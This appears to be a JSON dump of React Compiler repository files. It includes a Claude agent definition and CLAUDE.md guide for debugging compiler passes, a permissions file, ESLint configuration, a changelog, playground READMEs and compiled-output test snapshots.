    "content": "---\nname: investigate-error\ndescription: Investigates React compiler errors to determine the root cause and identify potential mitigation(s). Use this agent when the user asks to 'investigate a bug', 'debug why this fixture errors', 'understand why the compiler is failing', 'find the root cause of a compiler issue', or when they provide a snippet of code and ask to debug. Use automatically when encountering a failing test case, in order to understand the root cause.\nmodel: opus\ncolor: pink\n---\n\nYou are an expert React Compiler debugging specialist with deep knowledge of compiler internals, intermediate representations, and optimization passes. Your mission is to systematically investigate compiler bugs to identify root causes and provide actionable information for fixes.\n\n## Your Investigation Process\n\n### Step 1: Create Test Fixture\nCreate a new fixture file at `packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<fixture-name>.js` containing the problematic code. Use a descriptive name that reflects the issue (e.g., `bug-optional-chain-in-effect.js`).\n\n### Step 2: Run Debug Compilation\nExecute `yarn snap -d -p <fixture-name>` to compile the fixture with full debug output. This shows the state of the program after each compilation pass. You can also use `yarn snap compile -d <path-to-fixture>`.\n\n### Step 3: Analyze Compilation Results\n\n### Step 3a: If the fixture compiles successfully\n- Compare the output against the user's expected behavior\n- Review each compilation pass output from the `-d` flag\n- Identify the first pass where the output diverges from expected behavior\n- Proceed to binary search simplification\n\n### Step 3b: If the fixture errors\nExecute `yarn snap minimize --update <path-to-fixture>` to remove non-critical aspects of the failing test case. This **updates the fixture in place**.\n\nRe-read the fixture file to see the latest, minimal reproduction of the error.\n\n### Step 4: Iteratively adjust the fixture until it stops erroring\nAfter the previous step the fixture will have all extraneous aspects removed. Try to make further edits to determine the specific feature that is causing the error.\n\nIdeas:\n* Replace immediately-invoked function expressions with labeled blocks\n* Remove statements\n* Simplify calls (remove arguments, replace the call with its lone argument)\n* Simplify control flow statements by picking a single branch. Try using a labeled block with just the selected block\n* Replace optional member/call expressions with non-optional versions\n* Remove items in array/object expressions\n* Remove properties from member expressions\n\nTry to make the minimal possible edit to get the fixture stop erroring.\n\n### Step 5: Compare Debug Outputs\nWith both minimal versions (failing and non-failing):\n- Run `yarn snap -d -p <fixture-name>` on both\n- Compare the debug output pass-by-pass\n- Identify the exact pass where behavior diverges\n- Note specific differences in HIR, effects, or generated code\n\n### Step 6: Investigate Compiler Logic\n- Read the documentation for the problematic pass in `packages/babel-plugin-react-compiler/docs/passes/`\n- Examine the pass implementation in `packages/babel-plugin-react-compiler/src/`\n- Key directories to investigate:\n  - `src/HIR/` - IR definitions and utilities\n  - `src/Inference/` - Effect inference (aliasing, mutation)\n  - `src/Validation/` - Validation passes\n  - `src/Optimization/` - Optimization passes\n  - `src/ReactiveScopes/` - Reactive scope analysis\n- Identify specific code locations that may be handling the pattern incorrectly\n\n## Output Format\n\nProvide a structured investigation report:\n\n```\n## Investigation Summary\n\n### Bug Description\n[Brief description of the issue]\n\n### Minimal Failing Fixture\n```javascript\n// packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<name>.js\n[minimal code that reproduces the error]\n```\n\n### Minimal Non-Failing Fixture\n```javascript\n// The simplest change that makes it work\n[code that compiles correctly]\n```\n\n### Problematic Compiler Pass\n[Name of the pass where the issue occurs]\n\n### Root Cause Analysis\n[Explanation of what the compiler is doing wrong]\n\n### Suspect Code Locations\n- `packages/babel-plugin-react-compiler/src/<path>:<line>:<column>` - [description of what may be incorrect]\n- [additional locations if applicable]\n\n### Suggested Fix Direction\n[Brief suggestion of how the bug might be fixed]\n```\n\n## Key Debugging Tips\n\n1. The debug output (`-d` flag) shows the program state after each pass - use this to pinpoint where things go wrong\n2. Look for `@aliasingEffects=` on FunctionExpressions to understand data flow\n3. Check for `Impure`, `Render`, `Capture` effects on instructions\n4. The pass ordering in `Pipeline.ts` shows when effects are populated vs validated\n5. Todo errors indicate unsupported but known patterns; Invariant errors indicate unexpected states\n\n## Important Reminders\n\n- Always create the fixture file before running tests\n- Use descriptive fixture names that indicate the bug being investigated\n- Keep both failing and non-failing minimal versions for your report\n- Provide specific file:line:column references when identifying suspect code\n- Read the relevant pass documentation before making conclusions about the cause\n"
  },
  {
    "path": "compiler/.claude/settings.json",
    "content": "{\n  \"permissions\": {\n    \"allow\": [\n      \"Bash(yarn snap:*)\",\n      \"Bash(yarn snap:build)\",\n      \"Bash(node scripts/enable-feature-flag.js:*)\"\n    ],\n    \"deny\": [\n      \"Skill(extract-errors)\",\n      \"Skill(feature-flags)\",\n      \"Skill(fix)\",\n      \"Skill(flags)\",\n      \"Skill(flow)\",\n      \"Skill(test)\",\n      \"Skill(verify)\"\n    ]\n  }\n}\n"
  },
  {
    "path": "compiler/.eslintrc.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * Our philosophy for linting is that lints should be very high-signal:\n * - Error, don't warn. If it's worth mentioning it's worth fixing.\n * - Enable rules that consistently identify real problems. If we frequently would have to\n *   disable the rule due to false positives, it isn't high-signal.\n * - Enable rules that help improve consistent style (to avoid code review about style rather\n *   than substance).\n */\nmodule.exports = {\n  extends: [\"eslint:recommended\", \"plugin:@typescript-eslint/recommended\"],\n  rules: {\n    /*\n     * We prefer using const where variables are not reassigned, but occassional mistakes\n     * aren't a major issue\n     */\n    \"prefer-const\": \"off\",\n\n    // Not valuable enough to enable\n    \"no-useless-escape\": \"off\",\n\n    /*\n     * There are valid use cases for loops with constant conditions where the body contains the\n     * break\n     */\n    \"no-constant-condition\": \"off\",\n\n    // eslint only knows about builtin control flow (eg throw, return, break) and not custom ones\n    // like invariant.\n    \"no-fallthrough\": \"off\",\n\n    /*\n     * Low-value: this fires even for declarations that capture references which wouldn't be as\n     * obvious if the declaration was lifted to the parent root\n     */\n    \"no-inner-declarations\": \"off\",\n\n    \"multiline-comment-style\": [\"error\", \"starred-block\"],\n\n    /**\n     * We sometimes need to check for control characters in regexes for things like preserving input\n     * strings\n     */\n    \"no-control-regex\": \"off\",\n\n    \"@typescript-eslint/no-empty-function\": \"off\",\n\n    /*\n     * Explicitly casting to/through any is sometimes required, often for error messages to\n     * assertExhaustive()\n     */\n    \"@typescript-eslint/no-explicit-any\": \"off\",\n\n    /*\n     * We use non-null assertions carefully. Ideally, there would be a TS option to codegen\n     * a non-null check at the assertion site.\n     */\n    \"@typescript-eslint/no-non-null-assertion\": \"off\",\n\n    // Being explicit provides value in cases where inference may later change\n    \"@typescript-eslint/no-inferrable-types\": \"off\",\n    \"@typescript-eslint/explicit-function-return-type\": \"error\",\n\n    /*\n     * Unused variables are frequently a bug. Prefix unused variables with an _ to fix, but note\n     * that eslint won't warn you that an underscore prefixed variable is used and that the prefix\n     * should be dropped.\n     */\n    \"@typescript-eslint/no-unused-vars\": [\n      \"error\",\n      {\n        argsIgnorePattern: \"^_\",\n        varsIgnorePattern: \"^_\",\n        caughtErrorsIgnorePattern: \"^_\",\n      },\n    ],\n\n    // Consider enabling for consistency. Ideally violations could be auto-fixed.\n    \"@typescript-eslint/consistent-generic-constructors\": [\n      \"off\",\n      \"constructor\",\n    ],\n    \"@typescript-eslint/array-type\": [\"error\", { default: \"generic\" }],\n    \"@typescript-eslint/triple-slash-reference\": \"off\",\n    \"@typescript-eslint/no-var-requires\": \"off\",\n  },\n  parser: \"@typescript-eslint/parser\",\n  plugins: [\"@typescript-eslint\"],\n  root: true,\n  ignorePatterns: [\"**/__tests__/**/*\", \"**/*.d.ts\", \"**/dist/**/*\"],\n  env: {\n    node: true,\n  },\n  /*\n   * If rules need to be disabled then the rule is insufficiently high signal\n   * and should be diasbled altogether or customized (in either case via a standalone PR)\n   */\n  noInlineConfig: true,\n  reportUnusedDisableDirectives: true,\n};\n"
  },
  {
    "path": "compiler/.gitignore",
    "content": ".DS_Store\n.spr.yml\n\nnode_modules\n.watchmanconfig\n.watchman-cookie-*\ndist\n.vscode\n!packages/playground/.vscode\ntestfilter.txt\n.claude/settings.local.json\n\n# forgive\n*.vsix\n.vscode-test\n\n"
  },
  {
    "path": "compiler/CHANGELOG.md",
    "content": "## 19.1.0-rc.2 (May 14, 2025)\n\n## babel-plugin-react-compiler\n\n* Fix for string attribute values with emoji [#33096](https://github.com/facebook/react/pull/33096) by [@josephsavona](https://github.com/josephsavona)\n\n## 19.1.0-rc.1 (April 21, 2025)\n\n## eslint-plugin-react-hooks\n* Temporarily disable ref access in render validation [#32839](https://github.com/facebook/react/pull/32839) by [@poteto](https://github.com/poteto)\n* Fix type error with recommended config [#32666](https://github.com/facebook/react/pull/32666) by [@niklasholm](https://github.com/niklasholm)\n* Merge rule from eslint-plugin-react-compiler into `react-hooks` plugin [#32416](https://github.com/facebook/react/pull/32416) by [@michaelfaith](https://github.com/michaelfaith)\n* Add dev dependencies for typescript migration [#32279](https://github.com/facebook/react/pull/32279) by [@michaelfaith](https://github.com/michaelfaith)\n* Support v9 context api [#32045](https://github.com/facebook/react/pull/32045) by [@michaelfaith](https://github.com/michaelfaith)\n* Support eslint 8+ flat plugin syntax out of the box for eslint-plugin-react-compiler [#32120](https://github.com/facebook/react/pull/32120) by [@orta](https://github.com/orta)\n\n## babel-plugin-react-compiler\n* Support satisfies operator [#32742](https://github.com/facebook/react/pull/32742) by [@rodrigofariow](https://github.com/rodrigofariow)\n* Fix inferEffectDependencies lint false positives [#32769](https://github.com/facebook/react/pull/32769) by [@mofeiZ](https://github.com/mofeiZ)\n* Fix hoisting of let declarations [#32724](https://github.com/facebook/react/pull/32724) by [@mofeiZ](https://github.com/mofeiZ)\n* Avoid failing builds when import specifiers conflict or shadow vars [#32663](https://github.com/facebook/react/pull/32663) by [@mofeiZ](https://github.com/mofeiZ)\n* Optimize components declared with arrow function and implicit return and `compilationMode: 'infer'` [#31792](https://github.com/facebook/react/pull/31792) by [@dimaMachina](https://github.com/dimaMachina)\n* Validate static components [#32683](https://github.com/facebook/react/pull/32683) by [@josephsavona](https://github.com/josephsavona)\n* Hoist dependencies from functions more conservatively [#32616](https://github.com/facebook/react/pull/32616) by [@mofeiZ](https://github.com/mofeiZ)\n* Implement NumericLiteral as ObjectPropertyKey [#31791](https://github.com/facebook/react/pull/31791) by [@dimaMachina](https://github.com/dimaMachina)\n* Avoid bailouts when inserting gating [#32598](https://github.com/facebook/react/pull/32598) by [@mofeiZ](https://github.com/mofeiZ)\n* Stop bailing out early for hoisted gated functions [#32597](https://github.com/facebook/react/pull/32597) by [@mofeiZ](https://github.com/mofeiZ)\n* Add shape for Array.from [#32522](https://github.com/facebook/react/pull/32522) by [@mofeiZ](https://github.com/mofeiZ)\n* Patch array and argument spread mutability [#32521](https://github.com/facebook/react/pull/32521) by [@mofeiZ](https://github.com/mofeiZ)\n* Make CompilerError compatible with reflection [#32539](https://github.com/facebook/react/pull/32539) by [@poteto](https://github.com/poteto)\n* Add simple walltime measurement [#32331](https://github.com/facebook/react/pull/32331) by [@poteto](https://github.com/poteto)\n* Improve error messages for unhandled terminal and instruction kinds [#32324](https://github.com/facebook/react/pull/32324) by [@inottn](https://github.com/inottn)\n* Handle TSInstantiationExpression in lowerExpression [#32302](https://github.com/facebook/react/pull/32302) by [@inottn](https://github.com/inottn)\n* Fix invalid Array.map type [#32095](https://github.com/facebook/react/pull/32095) by [@mofeiZ](https://github.com/mofeiZ)\n* Patch for JSX escape sequences in @babel/generator [#32131](https://github.com/facebook/react/pull/32131) by [@mofeiZ](https://github.com/mofeiZ)\n* `JSXText` emits incorrect with bracket [#32138](https://github.com/facebook/react/pull/32138) by [@himself65](https://github.com/himself65)\n* Validation against calling impure functions [#31960](https://github.com/facebook/react/pull/31960) by [@josephsavona](https://github.com/josephsavona)\n* Always target node [#32091](https://github.com/facebook/react/pull/32091) by [@poteto](https://github.com/poteto)\n* Patch compilationMode:infer object method edge case [#32055](https://github.com/facebook/react/pull/32055) by [@mofeiZ](https://github.com/mofeiZ)\n* Generate ts defs [#31994](https://github.com/facebook/react/pull/31994) by [@poteto](https://github.com/poteto)\n* Relax react peer dep requirement [#31915](https://github.com/facebook/react/pull/31915) by [@poteto](https://github.com/poteto)\n* Allow type cast expressions with refs [#31871](https://github.com/facebook/react/pull/31871) by [@josephsavona](https://github.com/josephsavona)\n* Add shape for global Object.keys [#31583](https://github.com/facebook/react/pull/31583) by [@mofeiZ](https://github.com/mofeiZ)\n* Optimize method calls w props receiver [#31775](https://github.com/facebook/react/pull/31775) by [@josephsavona](https://github.com/josephsavona)\n* Fix dropped ref with spread props in InlineJsxTransform [#31726](https://github.com/facebook/react/pull/31726) by [@jackpope](https://github.com/jackpope)\n* Support for non-declatation for in/of iterators [#31710](https://github.com/facebook/react/pull/31710) by [@mvitousek](https://github.com/mvitousek)\n* Support for context variable loop iterators [#31709](https://github.com/facebook/react/pull/31709) by [@mvitousek](https://github.com/mvitousek)\n* Replace deprecated dependency in `eslint-plugin-react-compiler` [#31629](https://github.com/facebook/react/pull/31629) by [@rakleed](https://github.com/rakleed)\n* Support enableRefAsProp in jsx transform [#31558](https://github.com/facebook/react/pull/31558) by [@jackpope](https://github.com/jackpope)\n* Fix: ref.current now correctly reactive [#31521](https://github.com/facebook/react/pull/31521) by [@mofeiZ](https://github.com/mofeiZ)\n* Outline JSX with non-jsx children [#31442](https://github.com/facebook/react/pull/31442) by [@gsathya](https://github.com/gsathya)\n* Outline jsx with duplicate attributes [#31441](https://github.com/facebook/react/pull/31441) by [@gsathya](https://github.com/gsathya)\n* Store original and new prop names [#31440](https://github.com/facebook/react/pull/31440) by [@gsathya](https://github.com/gsathya)\n* Stabilize compiler output: sort deps and decls by name [#31362](https://github.com/facebook/react/pull/31362) by [@mofeiZ](https://github.com/mofeiZ)\n* Bugfix for hoistable deps for nested functions [#31345](https://github.com/facebook/react/pull/31345) by [@mofeiZ](https://github.com/mofeiZ)\n* Remove compiler runtime-compat fixture library [#31430](https://github.com/facebook/react/pull/31430) by [@poteto](https://github.com/poteto)\n* Wrap inline jsx transform codegen in conditional [#31267](https://github.com/facebook/react/pull/31267) by [@jackpope](https://github.com/jackpope)\n* Check if local identifier is a hook when resolving globals [#31384](https://github.com/facebook/react/pull/31384) by [@poteto](https://github.com/poteto)\n* Handle member expr as computed property [#31344](https://github.com/facebook/react/pull/31344) by [@gsathya](https://github.com/gsathya)\n* Fix to ref access check to ban ref?.current [#31360](https://github.com/facebook/react/pull/31360) by [@mvitousek](https://github.com/mvitousek)\n* InlineJSXTransform transforms jsx inside function expressions [#31282](https://github.com/facebook/react/pull/31282) by [@josephsavona](https://github.com/josephsavona)\n\n## Other\n* Add shebang to banner [#32225](https://github.com/facebook/react/pull/32225) by [@Jeremy-Hibiki](https://github.com/Jeremy-Hibiki)\n* remove terser from react-compiler-runtime build [#31326](https://github.com/facebook/react/pull/31326) by [@henryqdineen](https://github.com/henryqdineen)\n"
  },
  {
    "path": "compiler/CLAUDE.md",
    "content": "# React Compiler Knowledge Base\n\nThis document contains knowledge about the React Compiler gathered during development sessions. It serves as a reference for understanding the codebase architecture and key concepts.\n\n## Project Structure\n\nWhen modifying the compiler, you MUST read the documentation about that pass in `compiler/packages/babel-plugin-react-compiler/docs/passes/` to learn more about the role of that pass within the compiler.\n\n- `packages/babel-plugin-react-compiler/` - Main compiler package\n  - `src/HIR/` - High-level Intermediate Representation types and utilities\n  - `src/Inference/` - Effect inference passes (aliasing, mutation, etc.)\n  - `src/Validation/` - Validation passes that check for errors\n  - `src/Entrypoint/Pipeline.ts` - Main compilation pipeline with pass ordering\n  - `src/__tests__/fixtures/compiler/` - Test fixtures\n    - `error.todo-*.js` - Unsupported feature, correctly throws Todo error (graceful bailout)\n    - `error.bug-*.js` - Known bug, throws wrong error type or incorrect behavior\n    - `*.expect.md` - Expected output for each fixture\n\n## Running Tests\n\n```bash\n# Run all tests\nyarn snap\n\n# Run tests matching a pattern\n# Example: yarn snap -p 'error.*'\nyarn snap -p <pattern>\n\n# Run a single fixture in debug mode. Use the path relative to the __tests__/fixtures/compiler directory\n# For each step of compilation, outputs the step name and state of the compiled program\n# Example: yarn snap -p simple.js -d\nyarn snap -p <file-basename> -d\n\n# Update fixture outputs (also works with -p)\nyarn snap -u\n```\n\n## Linting\n\n```bash\n# Run lint on the compiler source\nyarn workspace babel-plugin-react-compiler lint\n```\n\n## Formatting\n\n```bash\n# Run prettier on all files (from the react root directory, not compiler/)\nyarn prettier-all\n```\n\n## Compiling Arbitrary Files\n\nUse `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:\n\n```bash\n# Compile a file and see the output\nyarn snap compile <path>\n\n# Compile with debug logging to see the state after each compiler pass\n# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet\nyarn snap compile --debug <path>\n```\n\n## Minimizing Test Cases\n\nUse `yarn snap minimize` to automatically reduce a failing test case to its minimal reproduction:\n\n```bash\n# Minimize a file that causes a compiler error\nyarn snap minimize <path>\n\n# Minimize and update the file in-place with the minimized version\nyarn snap minimize --update <path>\n```\n\n## Version Control\n\nThis repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.\n\n```bash\n# Check status\nsl status\n\n# Add new files, remove deleted files\nsl addremove\n\n# Commit all changes\nsl commit -m \"Your commit message\"\n\n# Commit with multi-line message using heredoc\nsl commit -m \"$(cat <<'EOF'\nSummary line\n\nDetailed description here\nEOF\n)\"\n```\n\n## Key Concepts\n\n### HIR (High-level Intermediate Representation)\n\nThe compiler converts source code to HIR for analysis. Key types in `src/HIR/HIR.ts`:\n\n- **HIRFunction** - A function being compiled\n  - `body.blocks` - Map of BasicBlocks\n  - `context` - Captured variables from outer scope\n  - `params` - Function parameters\n  - `returns` - The function's return place\n  - `aliasingEffects` - Effects that describe the function's behavior when called\n\n- **Instruction** - A single operation\n  - `lvalue` - The place being assigned to\n  - `value` - The instruction kind (CallExpression, FunctionExpression, LoadLocal, etc.)\n  - `effects` - Array of AliasingEffects for this instruction\n\n- **Terminal** - Block terminators (return, branch, etc.)\n  - `effects` - Array of AliasingEffects\n\n- **Place** - A reference to a value\n  - `identifier.id` - Unique IdentifierId\n\n- **Phi nodes** - Join points for values from different control flow paths\n  - Located at `block.phis`\n  - `phi.place` - The result place\n  - `phi.operands` - Map of predecessor block to source place\n\n### AliasingEffects System\n\nEffects describe data flow and operations. Defined in `src/Inference/AliasingEffects.ts`:\n\n**Data Flow Effects:**\n- `Impure` - Marks a place as containing an impure value (e.g., Date.now() result, ref.current)\n- `Capture a -> b` - Value from `a` is captured into `b` (mutable capture)\n- `Alias a -> b` - `b` aliases `a`\n- `ImmutableCapture a -> b` - Immutable capture (like Capture but read-only)\n- `Assign a -> b` - Direct assignment\n- `MaybeAlias a -> b` - Possible aliasing\n- `CreateFrom a -> b` - Created from source\n\n**Mutation Effects:**\n- `Mutate value` - Value is mutated\n- `MutateTransitive value` - Value and transitive captures are mutated\n- `MutateConditionally value` - May mutate\n- `MutateTransitiveConditionally value` - May mutate transitively\n\n**Other Effects:**\n- `Render place` - Place is used in render context (JSX props, component return)\n- `Freeze place` - Place is frozen (made immutable)\n- `Create place` - New value created\n- `CreateFunction` - Function expression created, includes `captures` array\n- `Apply` - Function application with receiver, function, args, and result\n\n### Hook Aliasing Signatures\n\nLocated in `src/HIR/Globals.ts`, hooks can define custom aliasing signatures to control how data flows through them.\n\n**Structure:**\n```typescript\naliasing: {\n  receiver: '@receiver',    // The hook function itself\n  params: ['@param0'],      // Named positional parameters\n  rest: '@rest',            // Rest parameters (or null)\n  returns: '@returns',      // Return value\n  temporaries: [],          // Temporary values during execution\n  effects: [                // Array of effects to apply when hook is called\n    {kind: 'Freeze', value: '@param0', reason: ValueReason.HookCaptured},\n    {kind: 'Assign', from: '@param0', into: '@returns'},\n  ],\n}\n```\n\n**Common patterns:**\n\n1. **RenderHookAliasing** (useState, useContext, useMemo, useCallback):\n   - Freezes arguments (`Freeze @rest`)\n   - Marks arguments as render-time (`Render @rest`)\n   - Creates frozen return value\n   - Aliases arguments to return\n\n2. **EffectHookAliasing** (useEffect, useLayoutEffect, useInsertionEffect):\n   - Freezes function and deps\n   - Creates internal effect object\n   - Captures function and deps into effect\n   - Returns undefined\n\n3. **Event handler hooks** (useEffectEvent):\n   - Freezes callback (`Freeze @fn`)\n   - Aliases input to return (`Assign @fn -> @returns`)\n   - NO Render effect (callback not called during render)\n\n**Example: useEffectEvent**\n```typescript\nconst UseEffectEventHook = addHook(\n  DEFAULT_SHAPES,\n  {\n    positionalParams: [Effect.Freeze],  // Takes one positional param\n    restParam: null,\n    returnType: {kind: 'Function', ...},\n    calleeEffect: Effect.Read,\n    hookKind: 'useEffectEvent',\n    returnValueKind: ValueKind.Frozen,\n    aliasing: {\n      receiver: '@receiver',\n      params: ['@fn'],              // Name for the callback parameter\n      rest: null,\n      returns: '@returns',\n      temporaries: [],\n      effects: [\n        {kind: 'Freeze', value: '@fn', reason: ValueReason.HookCaptured},\n        {kind: 'Assign', from: '@fn', into: '@returns'},\n        // Note: NO Render effect - callback is not called during render\n      ],\n    },\n  },\n  BuiltInUseEffectEventId,\n);\n\n// Add as both names for compatibility\n['useEffectEvent', UseEffectEventHook],\n['experimental_useEffectEvent', UseEffectEventHook],\n```\n\n**Key insight:** If a hook is missing an `aliasing` config, it falls back to `DefaultNonmutatingHook` which includes a `Render` effect on all arguments. This can cause false positives for hooks like `useEffectEvent` whose callbacks are not called during render.\n\n## Feature Flags\n\nFeature flags are configured in `src/HIR/Environment.ts`, for example `enableJsxOutlining`. Test fixtures can override the active feature flags used for that fixture via a comment pragma on the first line of the fixture input, for example:\n\n```javascript\n// enableJsxOutlining @enableNameAnonymousFunctions:false\n\n...code...\n```\n\nWould enable the `enableJsxOutlining` feature and disable the `enableNameAnonymousFunctions` feature.\n\n## Debugging Tips\n\n1. Run `yarn snap -p <fixture>` to see full HIR output with effects\n2. Look for `@aliasingEffects=` on FunctionExpressions\n3. Look for `Impure`, `Render`, `Capture` effects on instructions\n4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated\n\n## Error Handling and Fault Tolerance\n\nThe compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.\n\n**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.\n\n**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.\n\n**Error categories:**\n- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.\n- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.\n- Non-`CompilerError` exceptions — Always re-thrown.\n\n**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).\n\n**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.\n"
  },
  {
    "path": "compiler/README.md",
    "content": "# React Compiler\n\nReact Compiler is a compiler that optimizes React applications, ensuring that only the minimal parts of components and hooks will re-render when state changes. The compiler also validates that components and hooks follow the Rules of React.\n\nMore information about the design and architecture of the compiler are covered in the [Design Goals](./docs/DESIGN_GOALS.md).\n\nMore information about developing the compiler itself is covered in the [Development Guide](./docs/DEVELOPMENT_GUIDE.md)."
  },
  {
    "path": "compiler/apps/playground/.eslintrc.json",
    "content": "{\n  \"extends\": \"next/core-web-vitals\"\n}\n"
  },
  {
    "path": "compiler/apps/playground/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n/test-results\n\n# next.js\n/.next/\n/out/\n/next-env.d.ts\n\n# production\n/build\n\n# misc\n.DS_Store\n*.pem\n\n# debug\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n.pnpm-debug.log*\n\n# local env files\n.env*.local\n\n# vercel\n.vercel\n\n# typescript\n*.tsbuildinfo\n\n# external fonts\npublic/fonts/Optimistic_Display_W_Lt.woff2\npublic/fonts/Optimistic_Display_W_Md.woff2\npublic/fonts/Optimistic_Display_W_Bd.woff2\n\n# vscode\n.vscode/*\n!.vscode/extensions.json\n"
  },
  {
    "path": "compiler/apps/playground/README.md",
    "content": "# React Compiler Playground\n\nAn interactive playground to demonstrate, test, and have fun with React Compiler.\n\n## Setup\n\n```sh\n# Build React Compiler from source and install Playground dependencies.\n$ yarn\n\n# Or similarly\n$ npm install\n```\n\n## Development\n\n```sh\n# Start the local development server with\n$ yarn dev\n\n# Or\n$ npm run dev\n\n# Rerun the following (in a separate terminal window) when React Compiler\n# is changed locally to keep Playground in sync.\n$ yarn\n```\n\n## Testing\n```sh\n# Install playwright browser binaries\n$ npx playwright install --with-deps\n# Run tests\n$ yarn test\n```\n## Deployment\n\nThis project has been deployed using Vercel. Vercel does the exact same thing as we would\nlocally, by running `yarn` at the install step in the Playground directory to build\nReact Compiler from source and [symlink](https://classic.yarnpkg.com/en/docs/cli/link) it as its dependency.\nThis means that Playground is automatically deployed on every push and pull requests will reflect\nthe behaviors of React Compiler of that commit.\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/01-user-output.txt",
    "content": "import { c as _c } from \"react/compiler-runtime\";\nexport default function TestComponent(t0) {\n  const $ = _c(2);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = <Button>{x}</Button>;\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/02-default-output.txt",
    "content": "import { c as _c } from \"react/compiler-runtime\";\nexport default function MyApp() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>Hello World</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-all-output.txt",
    "content": "import { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"all\"\nfunction nonReactFn() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-infer-output.txt",
    "content": "// @compilationMode:\"infer\"\nfunction nonReactFn() {\n  return {};\n}"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-config.txt",
    "content": "{\n  //compilationMode: \"all\"\n}"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/function-scope-beats-module-scope-output.txt",
    "content": "function TestComponent(t0) {\n  \"use memo\";\n  const $ = _c(2);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = <Button>{x}</Button>;\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-memo-output.txt",
    "content": "\"use memo\";\nimport { c as _c } from \"react/compiler-runtime\";\nexport default function TestComponent(t0) {\n  const $ = _c(2);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = <Button>{x}</Button>;\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-no-memo-output.txt",
    "content": "\"use no memo\";\nexport default function TestComponent({ x }) {\n  return <Button>{x}</Button>;\n}\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-flow-output.txt",
    "content": "import { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(propVal) {\n  const $ = _c(2);\n  const t0 = (propVal.baz: number);\n  let t1;\n  if ($[0] !== t0) {\n    t1 = <div>{t0}</div>;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-typescript-output.txt",
    "content": "import { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = foo();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0 as number;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <div>{x}</div>;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/todo-function-scope-does-not-beat-module-scope-output.txt",
    "content": "\"use no memo\";\nfunction TestComponent({ x }) {\n  \"use memo\";\n  return <Button>{x}</Button>;\n}\n"
  },
  {
    "path": "compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-memo-output.txt",
